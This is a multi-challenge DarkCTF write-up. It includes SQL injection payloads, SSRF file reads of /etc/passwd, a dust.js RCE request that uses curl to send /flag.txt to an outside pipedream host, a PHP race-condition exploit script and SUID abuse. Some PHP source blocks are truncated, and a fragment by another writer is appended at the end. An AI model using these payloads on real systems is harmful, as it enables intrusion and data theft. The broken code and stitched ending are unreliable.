### SolutionWe get the source code of the challenge (you can see it below):```php<html> <head> <title>SOURCE</title> <style> #main { height: 100vh;} </style> </head> <body><center><link rel="stylesheet" href="https://www.w3schools.com/w3css/4/w3.css"> 10000){ echo ('<div class="w3-panel w3-green"><h3>Correct</h3> darkCTF{}</div>'); } else { echo ('<div class="w3-panel w3-red"><h3>Wrong!</h3> Ohhhhh!!! Very Close </div>'); } } else { echo ('<div class="w3-panel w3-red"><h3>Wrong!</h3> Nice!!! Near But Far</div>'); }} else { echo ('<div class="w3-panel w3-red"><h3>Wrong!</h3> Ahhhhh!!! Try Not Easy</div>');}?></center>
darkCTF{}
Ohhhhh!!! Very Close
Nice!!! Near But Far
Ahhhhh!!! Try Not Easy
</body></html>```
In order to get the flag we need to pass the next validations:```php$web = $_SERVER['HTTP_USER_AGENT'];if (is_numeric($web)){ if (strlen($web) < 4){ if ($web > 10000){ echo ('<div class="w3-panel w3-green"><h3>Correct</h3> darkCTF{}</div>');```- \$web = \$_SERVER['HTTP_USER_AGENT']; represents the User-Agent header- \$web needs to be numeric- \$web needs to have a length smaller than 4- \$web needs to be bigger than 10000
darkCTF{}
In PHP, we can provide numbers as exponentials expressions and what I mean by that are expressions like `5e52222`. This will translate into 5 * 10 ^ 52222.Knowing this, we fire up Burp, change the `User-Agent` to `9e9` which:- is numeric- has a length of 3- it is equals to 9000000000 which is bigger than 10000
After hitting send we get the flag.
Flag: darkCTF{changeing_http_user_agent_is_easy}
## So_Simple#### Description>"Try Harder" may be You get flag manually>>Try id as parameter### SolutionWe get a link that displays a simple page that says try harder. The only clue I could find on how to start finding a vulnarblity was from the description. I tried a get request with `id` as parameter with the value test and I compared the result with a request that does not have the parameter.
The left panel contains the response from the request with the `id` parameter set to `test`.

I noticed that the server responds with an additional `font` tag when the parameter is present, so I tried an input like `';"//` and I got a MySQL error. Now it is clear that the parameter is vulnerable to SQL injection. Below is a table with the payloads that I used and the results. I used as resource [PayloadAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/MySQL%20Injection.md) repo.
Payload | Result | Summary--------|--------|--------`' union select 1, 2, group_concat("~", schema_name, "~") from information_schema.schemata where '1' = '1` | `~information_schema~,~id14831952_security~,~mysql~,~performance_schema~,~sys~` | Number of columns of current table and databases names`' union select 1, 2, group_concat("~", table_name, "~") from information_schema.tables where table_schema='id14831952_security` | `~emails~,~referers~,~uagents~,~users~` | Table names from id14831952_security`' union select 1, 2, group_concat("~", column_name, "~") from information_schema.columns where table_name='users` | `~id~,~username~,~password~,~USER~,~CURRENT_CONNECTIONS~,~TOTAL_CONNECTIONS~` | Column names from table users`' union select 1, 2, group_concat("~", username, "~") from users where 'a'='a` | `~LOL~,~Try~,~fake~,~its secure~,~not~,~dont read~,~try to think ~,~admin~,~flag~` | Values from column username, table users`' union select id, password, username from users where username='flag` | `darkCTF{uniqu3_ide4_t0_find_fl4g}` | Got the flag, it was in the password column
Flag: darkCTF{uniqu3_ide4_t0_find_fl4g}
## Apache Logs#### Description >Our servers were compromised!! Can you figure out which technique they used by looking at Apache access logs.>>flag format: DarkCTF{}
### SolutionWe get a text file with logs of the requests made. For example:```text192.168.32.1 - - [29/Sep/2015:03:28:43 -0400] "GET /dvwa/robots.txt HTTP/1.1" 200 384 "-" "Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36"```
Looking into them, we can see that someone makes some login attempts, a registration and it tries a few endpoints. By the final of the file we have some SQL injection attempts. There are 3 interesting logs, let us look into them.
```text192.168.32.1 - - [29/Sep/2015:03:37:34 -0400] "GET /mutillidae/index.php?page=user-info.php&username=%27+union+all+select+1%2CString.fromCharCode%28102%2C+108%2C+97%2C+103%2C+32%2C+105%2C+115%2C+32%2C+83%2C+81%2C+76%2C+95%2C+73%2C+110%2C+106%2C+101%2C+99%2C+116%2C+105%2C+111%2C+110%29%2C3+--%2B&password=&user-info-php-submit-button=View+Account+Details HTTP/1.1" 200 9582 "http://192.168.32.134/mutillidae/index.php?page=user-info.php&username=something&password=&user-info-php-submit-button=View+Account+Details" "Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36"```Notice that the `username` parameter contains what appears to be a SQLi payload. URL decoding it gives us `' union all select 1,String.fromCharCode(102, 108, 97, 103, 32, 105, 115, 32, 83, 81, 76, 95, 73, 110, 106, 101, 99, 116, 105, 111, 110),3 --+`. I used Javascript to convert the integers to characters with the next two lines of code:
```jslet integersArray = [102, 108, 97, 103, 32, 105, 115, 32, 83, 81, 76, 95, 73, 110, 106, 101, 99, 116, 105, 111, 110];let charactersArray = integersArray.map(nr =>String.fromCharCode(nr));console.log(charactersArray.join(''));```This gave me `flag is SQL_Injection`, but this is not the flag, I tried it. Let us look further.
```text192.168.32.1 - - [29/Sep/2015:03:38:46 -0400] "GET /mutillidae/index.php?csrf-token=&username=CHAR%28121%2C+111%2C+117%2C+32%2C+97%2C+114%2C+101%2C+32%2C+111%2C+110%2C+32%2C+116%2C+104%2C+101%2C+32%2C+114%2C+105%2C+103%2C+104%2C+116%2C+32%2C+116%2C+114%2C+97%2C+99%2C+107%29&password=&confirm_password=&my_signature=®ister-php-submit-button=Create+Account HTTP/1.1" 200 8015 "http://192.168.32.134/mutillidae/index.php?page=register.php" "Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36"```Decoding the payload gives us `CHAR(121, 111, 117, 32, 97, 114, 101, 32, 111, 110, 32, 116, 104, 101, 32, 114, 105, 103, 104, 116, 32, 116, 114, 97, 99, 107)` that represents `you are on the right track`. Cool, let us move forward.
```text192.168.32.1 - - [29/Sep/2015:03:39:46 -0400] "GET /mutillidae/index.php?page=client-side-control-challenge.php HTTP/1.1" 200 9197 "http://192.168.32.134/mutillidae/index.php?page=user-info.php&username=%27+union+all+select+1%2CString.fromCharCode%28102%2C%2B108%2C%2B97%2C%2B103%2C%2B32%2C%2B105%2C%2B115%2C%2B32%2C%2B68%2C%2B97%2C%2B114%2C%2B107%2C%2B67%2C%2B84%2C%2B70%2C%2B123%2C%2B53%2C%2B113%2C%2B108%2C%2B95%2C%2B49%2C%2B110%2C%2B106%2C%2B51%2C%2B99%2C%2B116%2C%2B49%2C%2B48%2C%2B110%2C%2B125%29%2C3+--%2B&password=&user-info-php-submit-button=View+Account+Details" "Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36"```
Decoding the payload gives us a similar array of numbers that represents `flag is DarkCTF{5ql_1nj3ct10n}`
Flag: DarkCTF{5ql_1nj3ct10n}
## Simple_SQL#### Description>Try to find username and password>[Link](http://simplesql.darkarmy.xyz/)
### SolutionGoing to the provided link and looking at the source code of the page, we can see the next clue: ` `Firing up Burp and fuzzing around the `id` parameter, we notice that we can inject SQL with `1 or 2=2`, getting as a response `Username : LOL Password : Try `.
I wanted to know what are the first 10 entries, so I went with `id=1` and I stopped at `id=9` because that entry contains the flag, so no SQLi needed.
Flag: darkCTF{it_is_very_easy_to_find}
## Dusty Notes #### Description>Sometimes some inputs can lead to flagPS :- All error messages are intended ### SolutionWe get a link that gives us the next page:
Long story short, we can add and delete notes. Playing with some requests in Burp I noticed that the cookie changes on every new note added or deleted. It turns out the cookie stores an array of objects in the next form: `j:[{"id":1,"body":"Hack this"}]`I assume this is some kind of serialized value that I need to exploit (not really, keep reading), but I have no idea what programming language runs on the server, so I modified the cookie into `j:[{"id":1,"body":"Hack this"},{"id":1,"body":__FILE__}]` hoping to find out more.Fortunately, the server responded with an error message that tells us that the server runs on Node.js.```textTypeError: note.filter is not a function at /app/app.js:96:34 at Layer.handle [as handle_request] (/app/node_modules/express/lib/router/layer.js:95:5) at next (/app/node_modules/express/lib/router/route.js:137:13) at Route.dispatch (/app/node_modules/express/lib/router/route.js:112:3) at Layer.handle [as handle_request] (/app/node_modules/express/lib/router/layer.js:95:5) at /app/node_modules/express/lib/router/index.js:281:22 at param (/app/node_modules/express/lib/router/index.js:354:14) at param (/app/node_modules/express/lib/router/index.js:365:14) at Function.process_params (/app/node_modules/express/lib/router/index.js:410:3) at next (/app/node_modules/express/lib/router/index.js:275:10) at Layer.handle [as handle_request] (/app/node_modules/express/lib/router/layer.js:91:12) at trim_prefix (/app/node_modules/express/lib/router/index.js:317:13) at /app/node_modules/express/lib/router/index.js:284:7 at Function.process_params (/app/node_modules/express/lib/router/index.js:335:12) at next (/app/node_modules/express/lib/router/index.js:275:10) at urlencodedParser (/app/node_modules/body-parser/lib/types/urlencoded.js:82:7)```However, this doesn't give us much, so fuzzing a bit more I get the next error message for `j:[{"id":1,"body":["Hack this'"]}]`:
```json{"stack":"SyntaxError: Unexpected string\n at Object.if (/home/ctf/node_modules/dustjs-helpers/lib/dust-helpers.js:215:15)\n at Chunk.helper (/home/ctf/node_modules/dustjs-linkedin/lib/dust.js:769:34)\n at body_1 (evalmachine.<anonymous>:1:972)\n at Chunk.section (/home/ctf/node_modules/dustjs-linkedin/lib/dust.js:654:21)\n at body_0 (evalmachine.<anonymous>:1:847)\n at /home/ctf/node_modules/dustjs-linkedin/lib/dust.js:122:11\n at processTicksAndRejections (internal/process/task_queues.js:79:11)","message":"Unexpected string"}```Looking into this response, I noticed the error is thrown from `dustjs`. I didn't know about it, but I searched for `dustjs exploit` and I found some good articles ([here's one](https://artsploit.blogspot.com/2016/08/pprce2.html)) about a RCE vulnerability.
It seems that dustjs uses eval for interpreting inputs. However, the library does sanitize the input if *it is a string*. Providing anything else as input will let us bypass the sanitization and we can provide an array when creatin a new message.
I didn't find a way to return the content of the flag inside the response, so I had to send it to a remote server (I used [pipedream](https://pipedream.com) as host).Adjust the payload used in the article, we'll have the next request:
```textGET /addNotes?message[]=x&message[]=y'-require('child_process').exec('curl%20-F%20"x%3d`cat%20/flag.txt`"%20https://en5dsa3dt3ggpvb.m.pipedream.net')-' HTTP/1.1```This will make `message` an array, so it will bypass the sanitization, and it will take the content of `/flag.txt` and send it with curl to my host. Going to pipedream I can see the flag.
Flag: darkCTF{n0d3js_l1br4r13s_go3s_brrrr!}
## Agent U#### Description>Agent U stole a database from my company but I don't know which one. Can u help me to find it?>>http://agent.darkarmy.xyz/>>flag format darkCTF{databasename}### SolutionGoing to the given link we see a simple page with a login form. Looking at the source code we see the next line: ` `.Using these credentials, the server responds with the same page plus the next information:```textYour IP ADDRESS is: 141.101.96.206<font color= "#FFFF00" font size = 3 ></font><font color= "#0000ff" font size = 3 >Your User Agent is: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0</font>```Based on the challenge title and description I tried to insert some SQL injection into the User-Agent header.
I used as input `U'"` and got a MySQL error message. Cool.The error message is: `You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '"', '141.101.96.206', 'admin')' at line 1`

From this point on I tried a lot of things like UNION SELECT, GROUP_CONCAT, type conversion etc., but nothing worked.In the end, I tried to call a a function that I assumed it doesn't exist and, since the functions are attached to the database, the response gave me the name of the database: `ag3nt_u_1s_v3ry_t3l3nt3d`

Flag: darkCTF{ag3nt_u_1s_v3ry_t3l3nt3d}
## PHP Information#### Description>Let's test your php knowledge.>>Flag Format: DarkCTF{}>>http://php.darkarmy.xyz:7001### SolutionGoing to that link we get the source code of a php page. It seems that we need to pass some conditions in order to get the flag.
First condition:```phpif (!empty($_SERVER['QUERY_STRING'])) { $query = $_SERVER['QUERY_STRING']; $res = parse_str($query); if (!empty($res['darkctf'])){ $darkctf = $res['darkctf']; }}
if ($darkctf === "2020"){ echo "<h1 style='color: chartreuse;'>Flag : $flag</h1>";} ```We need to provide a query parameter with the name `darkctf` and the value `2020`. This will not give us the flag, but the first part of it: `DarkCTF{`
Second condition:```phpif ($_SERVER["HTTP_USER_AGENT"] === base64_decode("MjAyMF90aGVfYmVzdF95ZWFyX2Nvcm9uYQ==")){ echo "<h1 style='color: chartreuse;'>Flag : $flag_1</h1>";} ```We need to change the value from User-Agent header to match the decoded value of `MjAyMF90aGVfYmVzdF95ZWFyX2Nvcm9uYQ==` which is `2020_the_best_year_corona`. Thill will get use the second part of the flag: `very_`
Third condition:```phpif (!empty($_SERVER['QUERY_STRING'])) { $query = $_SERVER['QUERY_STRING']; $res = parse_str($query); if (!empty($res['ctf2020'])){ $ctf2020 = $res['ctf2020']; } if ($ctf2020 === base64_encode("ZGFya2N0Zi0yMDIwLXdlYg==")){ echo "<h1 style='color: chartreuse;'>Flag : $flag_2</h1>"; } } }```We need to provide a query string parameter with the name `ctf2020` and the value must be the base64 *encoded* value of `ZGFya2N0Zi0yMDIwLXdlYg==`.This gives us `nice`.
The last thing:```phpif (isset($_GET['karma']) and isset($_GET['2020'])) { if ($_GET['karma'] != $_GET['2020']) if (md5($_GET['karma']) == md5($_GET['2020'])) echo "<h1 style='color: chartreuse;'>Flag : $flag_3</h1>"; else echo "<h1 style='color: chartreuse;'>Wrong</h1>"; } ```So, we need to provide two more query parameters: one named `karma` and one named `2020`. The md5 hash of these two must be equal, but without providing the same string for both parameters. We could search for a md5 collision, meaning that we need to find two strings with the same hash, but it is a simpler way here.Notice that the hash results are compared with a weak comparison `==` and we can levarage this by using type juggling in our advantage.What we want is to find two strings that will have the md5 hash strating with `0e`. Why is that? Well, the php will try to convert the string into an integer because of the `e` and the weak comparison. For example, `0e2` will be onverted into `0 * 10 ^ 2` which is of course 0. So, by exploiting this weak comparison we want to achive `0 == 0` which will be true.I took two strings from this [article](https://www.whitehatsec.com/blog/magic-hashes/) that have the md5 hashes starting with `0e`: `Password147186970!` and `240610708`This will give us the rest of the flag: `_web_challenge_dark_ctf}`
Final request from Burp:
Flag: DarkCTF{very_nice_web_challenge_dark_ctf}
## Chain Race#### Description>All files are included. Source code is the key.>>http://race.darkarmy.xyz:8999### SolutionThe link prompts us with the next page:
Providing an URL, the server returns the content from that address, meaning that some requests are made in back-end. My first though was that this is a code injection vulnerability, but that is not the case. Providing as input `file:///etc/passwd` we can read the content from `/etc/passwd`.

Knowing that we can read files on disk, let us get some. The requests with URLs are made to `testhook.php`, so that is our first target. Trying `file:///var/www/html/testhook.php` gives us the source code of `testhook.php` and tells us that this is the location of the server.
```php
```
So, the value from `$_POST["handler"]` is used to make a request using `curl`. Researching a little about this module does not give us more than we already know. Time to go back to the `/etc/passwd` file.Note the last entry from the file: `localhost8080:x:5:60:darksecret-hiddenhere:/usr/games/another-server:/usr/sbin/nologin`This hint suggests that another server is running on port 8080. However, the server is not exposed externally, so it cannot be accessed with http://race.darkarmy.xyz:8080.Let's do a Server-Side Request Forgery by providing as input in the form from the main page `http://localhost:8080`. This gives us the next source code:
```php
Listen 443</IfModule>
<IfModule mod_gnutls.c>Listen 443</IfModule>
# vim: syntax=apache ts=4 sw=4 sts=4 sr noet```
Reading `/etc/apache2/sites-enabled/000-default.conf` gave us the location of the second server:
```text<VirtualHost *:8080>DocumentRoot /var/www/html1</VirtualHost>```
We can get the content of `index.php`, but not from `flag.php`. However, it was a nice try.
Coming back to the source code from `http://localhost:8080`:There are some conditions that we need to pass in order to get the flag. The first one:
```phpif(!(isset($_GET['user']) && isset($_GET['secret']))){ highlight_file("index.php"); die();}
if (($_GET['secret'] == "0x1337") || $_GET['user'] == "admin") { die("nope");}``` - Both `secret` and `user` must have a value - `secret` must not be equal to `0x1337` (weak comparison) - `user` must not be equal with `admin`
Second condition:```php$login_1 = 0;$login_2 = 0;
$login_1 = strcmp($_GET['user'], "admin") ? 1 : 0;
if (strcasecmp($_GET['secret'], "0x1337") == 0){ $login_2 = 1;}
if ($login_1 && $login_2) { // third condition, will be discussed next}````$login_1 && $login_2` must evaluate to `true` and for that we need: - `user` must start with `admin` - `strcasecmp($_GET['secret'], "0x1337")` must be equal with `0` (weak comparison)
The third condition is not related to `user` and `secret` so let us summarize up until this point what we need.
- `user` must not be equal with `admin` and it must strart with `admin` - Solution: set `user` equal with `admin1` - `secret` must not be equal with `0x1337` (weak comparison), but it must satisfy `strcasecmp($_GET['secret'], "0x1337") == 0` - Any other value that after type juggling is not equal with `0x1337` it is good - We need to bypass `strcasecmp($_GET['secret'], "0x1337") == 0` because, normally, the result would be 0 only if the strings are identical at byte level - Solution: make `secret` an array. This way `strcasecmp` will return `false` that will be equal to `0` due to the weak comparison
Let's check the last condition:
```phpsession_start();
$temp_name = sha1(md5(date("ms").@$_COOKIE['PHPSESSID']));session_destroy();
file_put_contents($temp_name, "your_fake_flag");
if ($login_1 && $login_2) { if(@unlink($temp_name)) { die("Nope"); } echo $flag;}```In order to get the flag `unlink` needs to return `false`. Let's get line by line to fully understand what happens here.
- `$temp_name = sha1(md5(date("ms").@$_COOKIE['PHPSESSID']));` - This will be the name of the file that will be saved on disk - Is the result of SHA1 hashing the MD5 hash of `date("ms").@$_COOKIE['PHPSESSID']` - `date("ms")` will return the month and the second of the current time (e.g. `0956`, where `09` is the month and `56` the seconds) - `@$_COOKIE['PHPSESSID']` will return the value of the cookie named `PHPSESSID`. The `@` will surpress any error or warning message.- `file_put_contents($temp_name, "your_fake_flag");` - Write `your_fake_flag` into a file that has as name the value from `$temp_name` - If the file doesn't exist it will be created- `if(@unlink($temp_name)) { die("Nope"); }` - `unlink` will attempt to delete the file - If needs to fail in order to retrieve the flag
In order to make `unlink` call fail, we need to open the file for reading right when `unlink` will attempt to delete it. This is called a race condition and we need to exploit it. We can read the file using the form from the first server by providing as input `file:///var/www/html/file-name`, but we have a problem, we need to anticipate the name of the file. Let's look again at the line where the file name is made: `$temp_name = sha1(md5(date("ms").@$_COOKIE['PHPSESSID']));`
It is a little trick here. You could not guess the value of the session cookie, but here the cookie is not set inside the `$_COOKIE` object even if it the session was initialied. And since the `@` is used, any error or warning will be surpressed, we do not need to worry about it, it will be an empty string.
So, `sha1(md5(date("ms").@$_COOKIE['PHPSESSID']));` is equivalent with `sha1(md5(date("ms")))`. Now, we can work with this.
I used the script below in order to exploit the race condition, tackin into account all the considerations mentioned above:
```php 'http://localhost:8080/?user=admin1&secret[]=1'];
$ch_flag_body = http_build_query($ch_flag_handler);
$flag = '';// looping until we get the flag// a race condition is somewhat not deterministic and requires multiple attemptswhile(strpos($flag, 'dark') === false) { // initialize curl object that will contain the flag $ch_flag = curl_init(); curl_setopt($ch_flag, CURLOPT_URL, $url); curl_setopt($ch_flag, CURLOPT_POST, true); curl_setopt($ch_flag, CURLOPT_POSTFIELDS, $ch_flag_body); curl_setopt($ch_flag, CURLOPT_RETURNTRANSFER, 1);
// initialize curl object for exploiting race condition $tmp_file = sha1(md5(date("ms"))); // generate the same file name $url_tmp_file = "file:///var/www/html/".$tmp_file; $ch_race_handler = [ 'handler' => $url_tmp_file ]; $ch_race_body = http_build_query($ch_race_handler);
$ch_race = curl_init(); curl_setopt($ch_race, CURLOPT_URL, $url); curl_setopt($ch_race, CURLOPT_POST, true); curl_setopt($ch_race, CURLOPT_POSTFIELDS, $ch_race_body); curl_setopt($ch_race, CURLOPT_RETURNTRANSFER, 1);
// multi handler curl object for launching the 2 reqeusts in parallel $mh = curl_multi_init(); curl_multi_add_handle($mh, $ch_flag); curl_multi_add_handle($mh, $ch_race);
// launch requests $active = null; do { $mrc = curl_multi_exec($mh, $active); } while ($mrc == CURLM_CALL_MULTI_PERFORM);
while ($active && $mrc == CURLM_OK) { if (curl_multi_select($mh) != -1) { do { $mrc = curl_multi_exec($mh, $active); } while ($mrc == CURLM_CALL_MULTI_PERFORM); } }
// read response $flag = curl_multi_getcontent($ch_flag); $file_content = curl_multi_getcontent($ch_race); echo("Flag: ".$flag." -> TMP url: ".$url_tmp_file." -> File: ".$file_content."\n"); // for debugging
curl_multi_remove_handle($mh, $ch_flag); curl_multi_remove_handle($mh, $ch_race); curl_multi_close($mh);}?>```After 1 minute we get the flag:
Flag: darkCTF{9h9_15_50_a3fu1}
# OSINT## Dark Social Web#### Description>0xDarkArmy has 1 social account and DarkArmy uses the same name everywhere>>flag format: darkctf{}
### SolutionBy the provided description I decided to start by searching for accounts with the username `0xDarkArmy`. For this I used [sherlock](https://github.com/sherlock-project/sherlock) and I got the next results:

I checked all of them and I found something on the [reddit page](https://www.reddit.com/user/0xDarkArmy/), a post meant for the CTF:

The post contains a QR image.
I used https://qrscanneronline.com/ to decode it and I got the next link: https://qrgo.page.link/zCLGd. Going to this address redirects us to an onion link: http://cwpi3mxjk7toz7i4.onion/
Moving to Tor, we get a site with a static template. Checking the `robots.txt` file give us half of flag:

Now, for the other half I tried the next things with no success:- Checked the source code- Checked the imported scripts and stylesheets- Checked the requests made- Compared the source code of the template from the official page with the source code from this site - source code was identical
I knew that the flag must be somewhere on this site, so I started looking for directory listing, but with the developer tools open (I wanted to see the status codes returned).
First thing I tried looking in the folders with images, then I took folders from the imported stylesheets.

When I made a GET request to http://cwpi3mxjk7toz7i4.onion/slick/ I noticed a custom HTTP Header in the response. That header contains the rest of the flag.

Flag: darkctf{S0c1a1_D04k_w3b_051n7}
# Forensics## AW#### Description>"Hello, hello, Can you hear me, as I scream your Flag! "
### SolutionAttached to this challenge is a `.mp4` file called `Spectre`. There are indiciations that we might get the flag from a spectogram, but for that we must strip the audio from the video file.We can achieve that with `ffmpeg -i Spectre.mp4 audio.mp3`.Next, I used [Sonic Visualizer](#https://www.sonicvisualiser.org/) to analyze the file. I added a spectogram, played a little with the settings to better view the flag and I was able to extract it.

Flag: darkCTF{1_l0v3_5p3ctr3_fr0m_4l4n}
# Crypto## haxXor#### Description>you either know it or not take this and get your flag>>5552415c2b3525105a4657071b3e0b5f494b034515### SolutionBy the title and description, we can assume that the given string was XORed and we can see that the string is in HEX.First thing, we'll asume that the flag will have the standard format, so we'll search for a key that will give us `darkCTF{`.I used an adapted version of the script provided in this [write-up](https://medium.com/@apogiatzis/tuctf-2018-xorient-write-up-xor-basics-d0c582a3d522) and got the key.
Key: `1337hack`XORing the string with this key gives us the flag.
Flag: darkCTF{kud0s_h4xx0r}
# Misc## Minetest 1#### Description>Just a sanity check to see whether you installed Minetest successfully and got into the game### SolutionInstalled minetest with `sudo apt-get install minetest`, moved the world with the mods into the `~/.minetest/worlds` and started the world.The world contains a simple logic circuit. If we make the final output positive, we get the flag.

Flag: DarkCTF{y0u_5ucess_fu11y_1ns7alled_m1n37e57}
# Linux## linux starter#### Description>Don't Try to break this jail>>ssh [email protected] -p 8001 password : wolfie### SolutionAfter we connect, we see in the home directory 3 folders. From these, two are interesting because are owned by root.

As you can see, we do not have read and execute permissions on these ones. Doing an `ls -la imp/` shows us that the folder contains the flag and we can get it with `cat imp/flag.txt`.

For this challenge you could also read the .bash_history file and get some hints.
Flag: darkCTF{h0pe_y0u_used_intended_w4y}
## Secret Vault#### Description>There's a vault hidden find it and retrieve the information. Note: Do not use any automated tools.>>ssh [email protected] -p 10000>>Alternate: ssh [email protected] -p 10000 password: wolfie### Solution
We find a hidden directory under `/home` called `.secretdoor/`. Inside we found a binary called `vault` that expects a specific pin in order to "unlock the vault".
I used the next one liner in order to find the right pin:```bashnr=0; while true; do nr=$((nr+1)); if [[ $(./vault $nr) != *"wrong"* ]]; then ./vault $nr; echo $nr; fi; done;```
By Base85 decoding the string we get the flag.
Flag: darkCTF{R0bb3ry_1s_Succ3ssfullll!!}
## Squids#### Description>Squids in the linux pool>>Note: No automation tool required.>>ssh [email protected] -p 10000 password: wolfie### SolutionBased on the title, it might have something to do with suid binaries, so let's do a `sudo -l`. This gives us `Sorry, user wolf may not run sudo on 99480b7da54a.`Let's try to find suid binaries with `find`. Running `find / -type f -perm -u=s 2>/dev/null` shows us the next binaries:
The interesting one is `/opt/src/src/iamroot`. Just running it, with no arguments gives us a segmentation fault error. By forwarding an argument we get the error message `cat: a: No such file or directory`. Seems that we can run `cat` with the owner's privileges and the owner is root. Running `./iamroot /root/flag.txt` gives us the flag.

Flag: darkCTF{y0u_f0und_the_squ1d}
|
i using "lsof" to find deleted file

and i copy that file to new file

and login```su -l wolf2```
and i looking around and get the flag in proc directory

> Flag: darkCTF{w0ahh_n1c3_w0rk!!!}
[my blog](http://medium.com) |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.